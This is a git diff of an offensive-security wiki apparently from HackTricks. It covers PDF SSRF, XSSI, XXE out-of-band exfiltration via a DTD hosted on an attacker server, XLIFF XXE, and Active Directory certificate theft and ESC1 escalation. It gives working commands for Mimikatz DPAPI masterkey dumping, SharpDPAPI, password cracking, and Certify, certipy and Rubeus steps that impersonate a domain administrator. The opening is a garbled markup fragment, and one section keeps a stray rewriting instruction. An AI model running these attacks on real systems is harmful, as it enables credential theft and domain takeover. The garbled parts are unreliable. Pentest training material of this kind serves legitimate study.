<>/Type/Annot/MK<>/Rect [ 72 697.8898 144 676.2897]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<> >> <>/Type/Annot/MK<>/Rect [ 0 0 889 792]/Subtype/Widget/AP<>>>/Parent <>/H/P/A<>>><>/A<> <>/A<> <>/A<> >>``\ -``<> /Rect [0 0 900 900] /AA <>/(`});``\ -`doc.text(20, 20, 'Test');`\ -`` - -## SSRF in PDFium/Acrobat - -It's possible to send a POST request with PDFium/Acrobat to perform a SSRF attack. This would be a [blind SSRF](https://portswigger.net/web-security/ssrf/blind) since you can make a POST request but can't read the response. To construct a POST request, you can use the /parent dictionary key as demonstrated earlier to assign a form element to the annotation, enabling JavaScript execution. But instead of using a button like we did before, you can assign a text field (/Tx) with the parameter name (/T) and parameter value (/V) dictionary keys. Notice how you have to pass the parameter names you want to use to the submitForm function as an array:`#)>>>><>/A<> >> <>/A< diff --git a/pentesting-web/xssi-cross-site-script-inclusion.md b/pentesting-web/xssi-cross-site-script-inclusion.md index 3937e4950..cdcd8fe35 100644 --- a/pentesting-web/xssi-cross-site-script-inclusion.md +++ b/pentesting-web/xssi-cross-site-script-inclusion.md @@ -14,7 +14,6 @@ Other ways to support HackTricks: -#### The information was taken from [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414) ## Basic Information @@ -29,58 +28,43 @@ This is especially interesting when it comes to dynamic JavaScript or JSONP when 3. Dynamic JavaScript 4. Non-JavaScript -## Regular XSSI +**The following information is a sumary of [https://www.scip.ch/en/?labs.20160414](https://www.scip.ch/en/?labs.20160414)**. Check it for further details. -The private information is located inside a global accessible JS file, you can just detect this by reading files, searching keywords or using regexps.\ -To exploit this, just include the script with private information inside the malicious content: -```markup +### Regular XSSI +In this approach, private information is embedded within a globally accessible JavaScript file. Attackers can identify these files using methods like file reading, keyword searches, or regular expressions. Once located, the script containing private information can be included in malicious content, allowing unauthorized access to sensitive data. An example exploitation technique is shown below: + +```html ``` -## Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI +### Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI +These types of XSSI attacks involve confidential information being dynamically added to the script in response to a user's request. Detection can be performed by sending requests with and without cookies and comparing the responses. If the information differs, it may indicate the presence of confidential information. This process can be automated using tools like the [DetectDynamicJS](https://github.com/luh2/DetectDynamicJS) Burp extension. -**Confidential information is added to the script when a user requests it**. This can be easily discovered by sending the request **with and without the cookies**, if **different information** is retrieved, then confidential information could be contained. To do this automatically you can use burp extension: [https://github.com/luh2/DetectDynamicJS](https://github.com/luh2/DetectDynamicJS). +If confidential data is stored in a global variable, it can be exploited using similar methods to those used in Regular XSSI. However, if the confidential data is included in a JSONP response, attackers can hijack the callback function to retrieve the information. This can be done by either manipulating global objects or setting up a function to be executed by the JSONP response, as demonstrated below: -If the information resides inside a global variable, you you can exploit it using the same code as for the the previous case.\ -If the confidential data is sent inside a JSONP response, you can override the executed function to retrieve the information: - -```markup +```html ``` -Or you could also set a prepared function to be executed by the JSONP response: - -```markup +```html ``` -If a variable does not reside inside the global namespace, sometimes this can be exploited anyway using _prototype tampering_. Prototype tampering abuses the design of JavaScript, namely that when interpreting code, JavaScript traverses the prototype chain to find the called property. The following example is extracted from the paper [The Unexpected Dangers of Dynamic JavaScript](https://www.usenix.org/system/files/conference/usenixsecurity15/sec15-paper-lekies.pdf) and demonstrates how overriding a relevant function of type `Array` and access to `this`, a non-global variable can be leaked as well. - -```javascript -(function(){ - var arr = ["secret1", "secret2", "secret3"]; - // intents to slice out first entry - var x = arr.slice(1); - ... -})(); -``` - -In the original code `slice` from type `Array` accesses the data we’re interested in. An attacker can, as described in the preceding clause, override `slice` and steal the secrets. +For variables not residing in the global namespace, *prototype tampering* can sometimes be exploited. This technique leverages JavaScript's design, where code interpretation involves traversing the prototype chain to locate the called property. By overriding certain functions, such as `Array`'s `slice`, attackers can access and leak non-global variables: ```javascript Array.prototype.slice = function(){ @@ -89,27 +73,16 @@ Array.prototype.slice = function(){ }; ``` -Security Researcher [Sebastian Lekies](https://twitter.com/slekies) just recently updated his list of [vectors](http://sebastian-lekies.de/leak/). +Further details on attack vectors can be found in the work of Security Researcher [Sebastian Lekies](https://twitter.com/slekies), who maintains a list of [vectors](http://sebastian-lekies.de/leak/). -## Non-Script-XSSI - -Takeshi Terada describes another kind of XSSI in his paper [Identifier based XSSI attacks](https://www.mbsd.jp/Whitepaper/xssi.pdf). He was able to leak Non-Script files cross-origin by including, among others, CSV files as source in the `script` tag, using the data as variable and function names. - -The first publicly documented XSSI attack was in 2006. Jeremiah Grossman’s blog entry [Advanced Web Attack Techniques using GMail](http://jeremiahgrossman.blogspot.ch/2006/01/advanced-web-attack-techniques-using.html) depicts a XSSI, which by overriding the `Array` constructor was able to read the complete address book of a google account. - -In 2007 Joe Walker published [JSON is not as safe as people think it is](http://incompleteness.me/blog/2007/03/05/json-is-not-as-safe-as-people-think-it-is/). He uses the same idea to steal JSON that is inside an `Array`. - -Other related attacks were conducted by injecting UTF-7 encoded content into the JSON to escape the JSON format. It is described by Gareth Heyes, author of [Hackvertor](https://hackvertor.co.uk/public), in the blog entry [JSON Hijacking](http://www.thespanner.co.uk/2011/05/30/json-hijacking/) released in 2011. In a quick test, this was still possible in Microsoft Internet Explorer and Edge, but not in Mozilla Firefox or Google Chrome. - -JSON with UTF-7: +### Non-Script-XSSI +Takeshi Terada's research introduces another form of XSSI, where Non-Script files, such as CSV, are leaked cross-origin by being included as sources in a `script` tag. Historical instances of XSSI, such as Jeremiah Grossman’s 2006 attack to read a complete Google address book and Joe Walker’s 2007 JSON data leak, highlight the severity of these threats. Additionally, Gareth Heyes describes an attack variant involving UTF-7 encoded JSON to escape the JSON format and execute scripts, effective in certain browsers: ```javascript [{'friend':'luke','email':'+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-'}] ``` -Including the JSON in the attacker’s page - -```markup +```html ``` diff --git a/pentesting-web/xxe-xee-xml-external-entity.md b/pentesting-web/xxe-xee-xml-external-entity.md index c2e932bbd..95d4c5e9f 100644 --- a/pentesting-web/xxe-xee-xml-external-entity.md +++ b/pentesting-web/xxe-xee-xml-external-entity.md @@ -148,36 +148,42 @@ Using the **previously commented technique** you can make the server access a se ### "Blind" SSRF - Exfiltrate data out-of-band -**In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request (for multi-line files you could try to ex-filtrate it via** _**ftp://**_**). This explanation as taken from** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.** +**In this occasion we are going to make the server load a new DTD with a malicious payload that will send the content of a file via HTTP request (for multi-line files you could try to ex-filtrate it via** _**ftp://**_**). This explanation is based in** [**Portswiggers lab here**](https://portswigger.net/web-security/xxe/blind)**.** -An example of a malicious DTD to exfiltrate the contents of the `/etc/hostname` file is as follows: +In the given malicious DTD, a series of steps are conducted to exfiltrate data: -```markup +### Malicious DTD Example: +The structure is as follows: +```xml "> %eval; %exfiltrate; ``` -This DTD carries out the following steps: +The steps executed by this DTD include: -* Defines an XML parameter entity called `file`, containing the contents of the `/etc/passwd` file. -* Defines an XML parameter entity called `eval`, containing a dynamic declaration of another XML parameter entity called `exfiltrate`. The `exfiltrate` entity will be evaluated by making an HTTP request to the attacker's web server containing the value of the `file` entity within the URL query string. -* Uses the `eval` entity, which causes the dynamic declaration of the `exfiltrate` entity to be performed. -* Uses the `exfiltrate` entity, so that its value is evaluated by requesting the specified URL. +1. **Definition of Parameter Entities:** + - An XML parameter entity, `%file`, is created, reading the content of the `/etc/hostname` file. + - Another XML parameter entity, `%eval`, is defined. It dynamically declares a new XML parameter entity, `%exfiltrate`. The `%exfiltrate` entity is set to make an HTTP request to the attacker's server, passing the content of the `%file` entity within the query string of the URL. -The attacker must then host the malicious DTD on a system that they control, normally by loading it onto their own webserver. For example, the attacker might serve the malicious DTD at the following URL:\ -`http://web-attacker.com/malicious.dtd` +2. **Execution of Entities:** + - The `%eval` entity is utilized, leading to the execution of the dynamic declaration of the `%exfiltrate` entity. + - The `%exfiltrate` entity is then used, triggering an HTTP request to the specified URL with the file's contents. -Finally, the attacker must submit the following XXE payload to the vulnerable application: +The attacker hosts this malicious DTD on a server under their control, typically at a URL like `http://web-attacker.com/malicious.dtd`. -```markup +**XXE Payload:** +To exploit a vulnerable application, the attacker sends an XXE payload: + +```xml %xxe;]> 3;1 ``` -This XXE payload declares an XML parameter entity called `xxe` and then uses the entity within the DTD. This will cause the XML parser to fetch the external DTD from the attacker's server and interpret it inline. The steps defined within the malicious DTD are then executed, and the `/etc/passwd` file is transmitted to the attacker's server. +This payload defines an XML parameter entity `%xxe` and incorporates it within the DTD. When processed by an XML parser, this payload fetches the external DTD from the attacker's server. The parser then interprets the DTD inline, executing the steps outlined in the malicious DTD and leading to the exfiltration of the `/etc/hostname` file to the attacker's server. + ### Error Based(External DTD) @@ -593,12 +599,13 @@ DTD example: ## XLIFF - XXE -This section was taken from [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe)\ -According to the [Wikipedia](https://en.wikipedia.org/wiki/XLIFF): +This example is inspired in [https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe](https://pwn.vg/articles/2021-06/local-file-read-via-error-based-xxe) -> XLIFF (XML Localization Interchange File Format) is an XML-based bitext format created to standardize the way localizable data are passed between and among tools during a localization process and a common format for CAT tool exchange. +XLIFF (XML Localization Interchange File Format) is utilized to standardize data exchange in localization processes. It's an XML-based format primarily used for transferring localizable data among tools during localization and as a common exchange format for CAT (Computer-Aided Translation) tools. -### Blind request +### Blind Request Analysis + +A request is made to the server with the following content: ```markup ------WebKitFormBoundaryqBdAsEtYaBjTArl3 @@ -612,17 +619,18 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -The server response with an error: +However, this request triggers an internal server error, specifically mentioning a problem with the markup declarations: -```javascript +```json {"status":500,"error":"Internal Server Error","message":"Error systemId: http://redacted.burpcollaborator.net/?xxe_test; The markup declarations contained or pointed to by the document type declaration must be well-formed."} ``` -But we got a hit on Burp Collaborator. +Despite the error, a hit is recorded on Burp Collaborator, indicating some level of interaction with the external entity. -### Exfiltrating Data via Out of Band +Out of Band Data Exfiltration +To exfiltrate data, a modified request is sent: -```markup +``` ------WebKitFormBoundaryqBdAsEtYaBjTArl3 Content-Disposition: form-data; name="file"; filename="xxe.xliff" Content-Type: application/x-xliff+xml @@ -634,37 +642,35 @@ Content-Type: application/x-xliff+xml ------WebKitFormBoundaryqBdAsEtYaBjTArl3-- ``` -Based on the displayed User Agent returned by burp collaborator, it appears that it is using **Java 1.8**. One of the problems when exploiting XXE on this version of Java is **we’re unable to obtain the files containing a `New Line`** such as `/etc/passwd` using the Out of Band technique. +This approach reveals that the User Agent indicates the use of Java 1.8. A noted limitation with this version of Java is the inability to retrieve files containing a newline character, such as /etc/passwd, using the Out of Band technique. -### Exfiltrating Data via Error Based +Error-Based Data Exfiltration +To overcome this limitation, an Error-Based approach is employed. The DTD file is structured as follows to trigger an error that includes data from a target file: -DTD File: - -```markup +```xml "> %foo; %xxe; ``` -Server Response: +The server responds with an error, importantly reflecting the non-existent file, indicating that the server is attempting to access the specified file: ```javascript {"status":500,"error":"Internal Server Error","message":"IO error.\nReason: /nofile (No such file or directory)"} ``` -Great! The `non-exist` file is reflected in the Error messages. Next is adding the File Content. +To include the file's content in the error message, the DTD file is adjusted: -DTD File: - -```markup +```xml "> %foo; %xxe; ``` -And the content of the file was successfully **printed in the output of the error sent via HTTP**. +This modification leads to the successful exfiltration of the file's content, as it is reflected in the error output sent via HTTP. This indicates a successful XXE (XML External Entity) attack, leveraging both Out of Band and Error-Based techniques to extract sensitive information. + ## RSS - XEE diff --git a/welcome/hacktricks-values-and-faq.md b/welcome/hacktricks-values-and-faq.md index 78e13bfd6..3958b330e 100644 --- a/welcome/hacktricks-values-and-faq.md +++ b/welcome/hacktricks-values-and-faq.md @@ -113,7 +113,7 @@ Note that asking this we will definitely **remove every link to your blog**, and * **What should I do if I find copy-pasted content in HackTricks?** {% endhint %} -**Unfortunatelly yhis practice came from the beginning of the project**. We have always tried to **give the original authors all the credits**. If you find a page with copy-pasted content (even with the original source referenced), let us know and we will either **remove it**, **leave the link**, or **rewrite it**. +**Unfortunatelly this practice might have happened in the beginning of the project when this page was just the notes of a pentester**. We always try to **give the original authors all the credits**. If you find a page with copy-pasted content (even with the original source referenced), let us know and we will either **remove it**, **leave the link**, or **rewrite it**. {% hint style="danger" %} diff --git a/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md b/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md index 1f9bed7e2..bb613f81e 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md +++ b/windows-hardening/active-directory-methodology/ad-certificates/certificate-theft.md @@ -14,6 +14,9 @@ Other ways to support HackTricks: +**This is a small summary of the awesome research from [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf)** + + ## What can I do with a certificate Before checking how to steal the certificates here you have some info about how to find what the certificate is useful for: @@ -32,12 +35,11 @@ certutil.exe -dump -v cert.pfx ## Exporting Certificates Using the Crypto APIs – THEFT1 -The easiest way to extract a user or machine certificate and private key is through an **interactive desktop session**. If the **private key** is **exportable**, one can simply right click the certificate in `certmgr.msc`, and go to `All Tasks → Export`… to export a password protected .pfx file. \ -One can accomplish this **programmatically** as well. Examples include PowerShell’s `ExportPfxCertificate` cmdlet or [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer). +In an **interactive desktop session**, extracting a user or machine certificate, along with the private key, can be easily done, particularly if the **private key is exportable**. This can be achieved by navigating to the certificate in `certmgr.msc`, right-clicking on it, and selecting `All Tasks → Export` to generate a password-protected .pfx file. -Underneath, these methods use the **Microsoft CryptoAPI** (CAPI) or more modern Cryptography API: Next Generation (CNG) to interact with the certificate store. These APIs perform various cryptographic services that needed for certificate storage and authentication (amongst other uses). +For a **programmatic approach**, tools such as the PowerShell `ExportPfxCertificate` cmdlet or projects like [TheWover’s CertStealer C# project](https://github.com/TheWover/CertStealer) are available. These utilize the **Microsoft CryptoAPI** (CAPI) or the Cryptography API: Next Generation (CNG) to interact with the certificate store. These APIs provide a range of cryptographic services, including those necessary for certificate storage and authentication. -If the private key is non-exportable, CAPI and CNG will not allow extraction of non-exportable certificates. **Mimikatz’s** `crypto::capi` and `crypto::cng` commands can patch the CAPI and CNG to **allow exportation** of private keys. `crypto::capi` **patches** **CAPI** in the current process whereas `crypto::cng` requires **patching** **lsass.exe’s** memory. +However, if a private key is set as non-exportable, both CAPI and CNG will normally block the extraction of such certificates. To bypass this restriction, tools like **Mimikatz** can be employed. Mimikatz offers `crypto::capi` and `crypto::cng` commands to patch the respective APIs, allowing for the exportation of private keys. Specifically, `crypto::capi` patches the CAPI within the current process, while `crypto::cng` targets the memory of **lsass.exe** for patching. ## User Certificate Theft via DPAPI – THEFT2 @@ -47,74 +49,83 @@ More info about DPAPI in: [dpapi-extracting-passwords.md](../../windows-local-privilege-escalation/dpapi-extracting-passwords.md) {% endcontent-ref %} -Windows **stores certificate private keys using DPAPI**. Microsoft breaks out the storage locations for user and machine private keys. When manually decrypting the encrypted DPAPI blobs, a developer needs to understand which cryptography API the OS used as the private key file structure differs between the two APIs. When using SharpDPAPI, it automatically accounts for these file format differences. +In Windows, **certificate private keys are safeguarded by DPAPI**. It's crucial to recognize that the **storage locations for user and machine private keys** are distinct, and the file structures vary depending on the cryptographic API utilized by the operating system. **SharpDPAPI** is a tool that can navigate these differences automatically when decrypting the DPAPI blobs. -Windows most **commonly stores user certificates** in the registry in the key `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, though some personal certificates for users are **also** stored in `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. The associated user **private key locations** are primarily at `%APPDATA%\Microsoft\Crypto\RSA\User SID\` for **CAPI** keys and `%APPDATA%\Microsoft\Crypto\Keys\` for **CNG** keys. +**User certificates** are predominantly housed in the registry under `HKEY_CURRENT_USER\SOFTWARE\Microsoft\SystemCertificates`, but some can also be found in the directory `%APPDATA%\Microsoft\SystemCertificates\My\Certificates`. The corresponding **private keys** for these certificates are typically stored in `%APPDATA%\Microsoft\Crypto\RSA\User SID\` for **CAPI** keys and `%APPDATA%\Microsoft\Crypto\Keys\` for **CNG** keys. -To obtain a certificate and its associated private key, one needs to: +To **extract a certificate and its associated private key**, the process involves: -1. Identify w**hich certificate one wants to steal** from the user’s certificate store and extract the key store name. -2. Find the **DPAPI masterkey** needed to decrypt the associated private key. -3. Obtain the plaintext DPAPI masterkey and use it to **decrypt the private key**. +1. **Selecting the target certificate** from the user’s store and retrieving its key store name. +2. **Locating the required DPAPI masterkey** to decrypt the corresponding private key. +3. **Decrypting the private key** by utilizing the plaintext DPAPI masterkey. -To **get the plaintext DPAPI masterkey**: +For **acquiring the plaintext DPAPI masterkey**, the following approaches can be used: ```bash -# With mimikatz -## Running in a process in the users context +# With mimikatz, when running in the user's context dpapi::masterkey /in:"C:\PATH\TO\KEY" /rpc -# with mimikatz -## knowing the users password +# With mimikatz, if the user's password is known dpapi::masterkey /in:"C:\PATH\TO\KEY" /sid:accountSid /password:PASS ``` -To simplify masterkey file and private key file decryption, [**SharpDPAPI’s**](https://github.com/GhostPack/SharpDPAPI) `certificates` command can be used with the `/pvk`, `/mkfile`, `/password`, or `{GUID}:KEY` arguments to decrypt the private keys and associated certificates, outputting a `.pem` text file. +To streamline the decryption of masterkey files and private key files, the `certificates` command from [**SharpDPAPI**](https://github.com/GhostPack/SharpDPAPI) proves beneficial. It accepts `/pvk`, `/mkfile`, `/password`, or `{GUID}:KEY` as arguments to decrypt the private keys and linked certificates, subsequently generating a `.pem` file. ```bash +# Decrypting using SharpDPAPI SharpDPAPI.exe certificates /mkfile:C:\temp\mkeys.txt -# Transfor .pem to .pfx +# Converting .pem to .pfx openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx ``` ## Machine Certificate Theft via DPAPI – THEFT3 -Windows stores machine certificates in the registry key `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` and stores private keys in several different places depending on the account.\ -Although SharpDPAPI will search all these locations, the most interesting results tend to come from `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (CAPI) and `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (CNG). These **private keys** are associated with the **machine certificate** store and Windows encrypts them with the **machine’s DPAPI master keys**.\ -One cannot decrypt these keys using the domain’s DPAPI backup key, but rather **must** use the **DPAPI\_SYSTEM LSA secret** on the system which is **accessible only by the SYSTEM user**. +Machine certificates stored by Windows in the registry at `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates` and the associated private keys located in `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\RSA\MachineKeys` (for CAPI) and `%ALLUSERSPROFILE%\Application Data\Microsoft\Crypto\Keys` (for CNG) are encrypted using the machine's DPAPI master keys. These keys cannot be decrypted with the domain’s DPAPI backup key; instead, the **DPAPI_SYSTEM LSA secret**, which only the SYSTEM user can access, is required. + +Manual decryption can be achieved by executing the `lsadump::secrets` command in **Mimikatz** to extract the DPAPI_SYSTEM LSA secret, and subsequently using this key to decrypt the machine masterkeys. Alternatively, Mimikatz’s `crypto::certificates /export /systemstore:LOCAL_MACHINE` command can be used after patching CAPI/CNG as previously described. + +**SharpDPAPI** offers a more automated approach with its certificates command. When the `/machine` flag is used with elevated permissions, it escalates to SYSTEM, dumps the DPAPI_SYSTEM LSA secret, uses it to decrypt the machine DPAPI masterkeys, and then employs these plaintext keys as a lookup table to decrypt any machine certificate private keys. -You can do this manually with **Mimikatz’** **`lsadump::secrets`** command and then use the extracted key to **decrypt machine masterkeys**. \ -You can also patch CAPI/CNG as before and use **Mimikatz’** `crypto::certificates /export /systemstore:LOCAL_MACHINE` command. \ -**SharpDPAPI’s** certificates command with the **`/machine`** flag (while elevated) will automatically **elevate** to **SYSTEM**, **dump** the **DPAPI\_SYSTEM** LSA secret, use this to **decrypt** and found machine DPAPI masterkeys, and use the key plaintexts as a lookup table to decrypt any machine certificate private keys. ## Finding Certificate Files – THEFT4 -Sometimes **certificates are just in the filesystem**, like in file shares or in the Downloads folder.\ -The most common type of Windows-focused certificate files we have seen are **`.pfx`** and **`.p12`** files, with **`.pkcs12`** and ** `.pem` ** sometimes showing up but less often.\ -Other interesting certificate-related file extensions are: **`.key`** (_private key_), **`.crt/.cer`** (_just cert_), **`.csr`** (_Certificate Signing Request, it doesn't contain certs of priv keys_), **`.jks/.keystore/.keys`** (_Java Keystore. May contain certs + private keys used by Java applications_). +Certificates are sometimes found directly within the filesystem, such as in file shares or the Downloads folder. The most commonly encountered types of certificate files targeted towards Windows environments are `.pfx` and `.p12` files. Though less frequently, files with extensions `.pkcs12` and `.pem` also appear. Additional noteworthy certificate-related file extensions include: +- `.key` for private keys, +- `.crt`/`.cer` for certificates only, +- `.csr` for Certificate Signing Requests, which do not contain certificates or private keys, +- `.jks`/`.keystore`/`.keys` for Java Keystores, which may hold certificates along with private keys utilized by Java applications. -To find this files, just search for those extensions using powershell or the cmd. +These files can be searched for using PowerShell or the command prompt by looking for the mentioned extensions. -If you find a **PKCS#12** certificate file and it is **password protected**, you can extract a hash using [pfx2john.py](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john\_8py\_source.html) **crack** it using JohnTheRipper. +In cases where a PKCS#12 certificate file is found and it is protected by a password, the extraction of a hash is possible through the use of `pfx2john.py`, available at [fossies.org](https://fossies.org/dox/john-1.9.0-jumbo-1/pfx2john_8py_source.html). Subsequently, JohnTheRipper can be employed to attempt to crack the password. + +```powershell +# Example command to search for certificate files in PowerShell +Get-ChildItem -Recurse -Path C:\Users\ -Include *.pfx, *.p12, *.pkcs12, *.pem, *.key, *.crt, *.cer, *.csr, *.jks, *.keystore, *.keys + +# Example command to use pfx2john.py for extracting a hash from a PKCS#12 file +pfx2john.py certificate.pfx > hash.txt + +# Command to crack the hash with JohnTheRipper +john --wordlist=passwords.txt hash.txt +``` ## NTLM Credential Theft via PKINIT – THEFT5 -> In order to **support NTLM authentication** \[MS-NLMP] for applications connecting to network services that **do not support Kerberos** authentication, when PKCA is used, the KDC returns the **user’s NTLM** one-way function (OWF) in the privilege attribute certificate (PAC) **`PAC_CREDENTIAL_INFO`** buffer +The given content explains a method for NTLM credential theft via PKINIT, specifically through the theft method labeled as THEFT5. Here's a re-explanation in passive voice, with the content anonymized and summarized where applicable: -So, if account authenticates and gets a **TGT through PKINIT**, there is a built-in “failsafe” that allows the current host to **obtain our NTLM hash from the TGT** to support legacy authentication. This involves **decrypting** a **`PAC_CREDENTIAL_DATA`** **structure** that is a Network Data Representation (NDR) serialized representation of the NTLM plaintext. +To support NTLM authentication [MS-NLMP] for applications that do not facilitate Kerberos authentication, the KDC is designed to return the user's NTLM one-way function (OWF) within the privilege attribute certificate (PAC), specifically in the `PAC_CREDENTIAL_INFO` buffer, when PKCA is utilized. Consequently, should an account authenticate and secure a Ticket-Granting Ticket (TGT) via PKINIT, a mechanism is inherently provided which enables the current host to extract the NTLM hash from the TGT to uphold legacy authentication protocols. This process entails the decryption of the `PAC_CREDENTIAL_DATA` structure, which is essentially an NDR serialized depiction of the NTLM plaintext. -[**Kekeo**](https://github.com/gentilkiwi/kekeo) can be used to ask for a TGT with this information an retrieve the users NTML +The utility **Kekeo**, accessible at [https://github.com/gentilkiwi/kekeo](https://github.com/gentilkiwi/kekeo), is mentioned as capable of requesting a TGT containing this specific data, thereby facilitating the retrieval of the user's NTLM. The command utilized for this purpose is as follows: ```bash -tgt::pac /caname:thename-DC-CA /subject:harmj0y /castore:current_user /domain:domain.local +tgt::pac /caname:generic-DC-CA /subject:genericUser /castore:current_user /domain:domain.local ``` -Kekeo’s implementation will also work with smartcard-protected certs that are currently plugged in if you can [**recover the pin**](https://github.com/CCob/PinSwipe)**.** It will also be supported in [**Rubeus**](https://github.com/GhostPack/Rubeus). +Additionally, it is noted that Kekeo can process smartcard-protected certificates, given the pin can be retrieved, with reference made to [https://github.com/CCob/PinSwipe](https://github.com/CCob/PinSwipe). The same capability is indicated to be supported by **Rubeus**, available at [https://github.com/GhostPack/Rubeus](https://github.com/GhostPack/Rubeus). -## References - -* All the info was taken from [https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf](https://www.specterops.io/assets/resources/Certified\_Pre-Owned.pdf) +This explanation encapsulates the process and tools involved in NTLM credential theft via PKINIT, focusing on the retrieval of NTLM hashes through TGT obtained using PKINIT, and the utilities that facilitate this process.
diff --git a/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md b/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md index b5aa504a2..02c56be8c 100644 --- a/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md +++ b/windows-hardening/active-directory-methodology/ad-certificates/domain-escalation.md @@ -14,26 +14,33 @@ Other ways to support HackTricks:
+**This is a summary of the posts:** +* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf) +* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7) +* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy) + ## Misconfigured Certificate Templates - ESC1 ### Explanation -* The **Enterprise CA** grants **low-privileged users enrolment rights** -* **Manager approval is disabled** -* **No authorized signatures are required** -* An overly permissive **certificate template** security descriptor **grants certificate enrolment rights to low-privileged users** -* The **certificate template defines EKUs that enable authentication**: - * _Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA)._ -* The **certificate template allows requesters to specify a subjectAltName in the CSR:** - * **AD** will **use** the identity specified by a certificate’s **subjectAltName** (SAN) field **if** it is **present**. Consequently, if a requester can specify the SAN in a CSR, the requester can **request a certificate as anyone** (e.g., a domain admin user). The certificate template’s AD object **specifies** if the requester **can specify the SAN** in its **`mspki-certificate-name-`**`flag` property. The `mspki-certificate-name-flag` property is a **bitmask** and if the **`CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT`** flag is **present**, a **requester can specify the SAN.** +### Misconfigured Certificate Templates - ESC1 Explained + +* **Enrolment rights are granted to low-privileged users by the Enterprise CA.** +* **Manager approval is not required.** +* **No signatures from authorized personnel are needed.** +* **Security descriptors on certificate templates are overly permissive, allowing low-privileged users to obtain enrolment rights.** +* **Certificate templates are configured to define EKUs that facilitate authentication:** + * Extended Key Usage (EKU) identifiers such as Client Authentication (OID 1.3.6.1.5.5.7.3.2), PKINIT Client Authentication (1.3.6.1.5.2.3.4), Smart Card Logon (OID 1.3.6.1.4.1.311.20.2.2), Any Purpose (OID 2.5.29.37.0), or no EKU (SubCA) are included. +* **The ability for requesters to include a subjectAltName in the Certificate Signing Request (CSR) is allowed by the template:** + * The Active Directory (AD) prioritizes the subjectAltName (SAN) in a certificate for identity verification if present. This means that by specifying the SAN in a CSR, a certificate can be requested to impersonate any user (e.g., a domain administrator). Whether a SAN can be specified by the requester is indicated in the certificate template's AD object through the `mspki-certificate-name-flag` property. This property is a bitmask, and the presence of the `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` flag permits the specification of the SAN by the requester. {% hint style="danger" %} -These settings allow a **low-privileged user to request a certificate with an arbitrary SAN**, allowing the low-privileged user to authenticate as any principal in the domain via Kerberos or SChannel. +The configuration outlined permits low-privileged users to request certificates with any SAN of choice, enabling authentication as any domain principal through Kerberos or SChannel. {% endhint %} -This is often enabled, for example, to allow products or deployment services to generate HTTPS certificates or host certificates on the fly. Or because of lack of knowledge. +This feature is sometimes enabled to support the on-the-fly generation of HTTPS or host certificates by products or deployment services, or due to a lack of understanding. -Note that when a certificate with this last option is created a **warning appears**, but it doesn't appear if a **certificate template** with this configuration is **duplicated** (like the `WebServer` template which has `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` enabled and then the admin might add an authentication OID). +It is noted that creating a certificate with this option triggers a warning, which is not the case when an existing certificate template (such as the `WebServer` template, which has `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` enabled) is duplicated and then modified to include an authentication OID. ### Abuse @@ -47,7 +54,7 @@ certipy find -username john@corp.local -password Passw0rd -dc-ip 172.16.126.128 To **abuse this vulnerability to impersonate an administrator** one could run: ```bash -Certify.exe request /ca:dc.theshire.local-DC-CA /template:VulnTemplate /altname:localadmin +Certify.exe request /ca:dc.domain.local-DC-CA /template:VulnTemplate /altname:localadmin certipy req -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -template 'ESC1' -upn 'administrator@corp.local' ``` @@ -58,9 +65,9 @@ Rubeus.exe asktgt /user:localdomain /certificate:localadmin.pfx /password:passwo certipy auth -pfx 'administrator.pfx' -username 'administrator' -domain 'corp.local' -dc-ip 172.16.19.100 ``` -The Windows binaries "Certreq.exe" & "Certutil.exe" can be abused to generate the PFX: 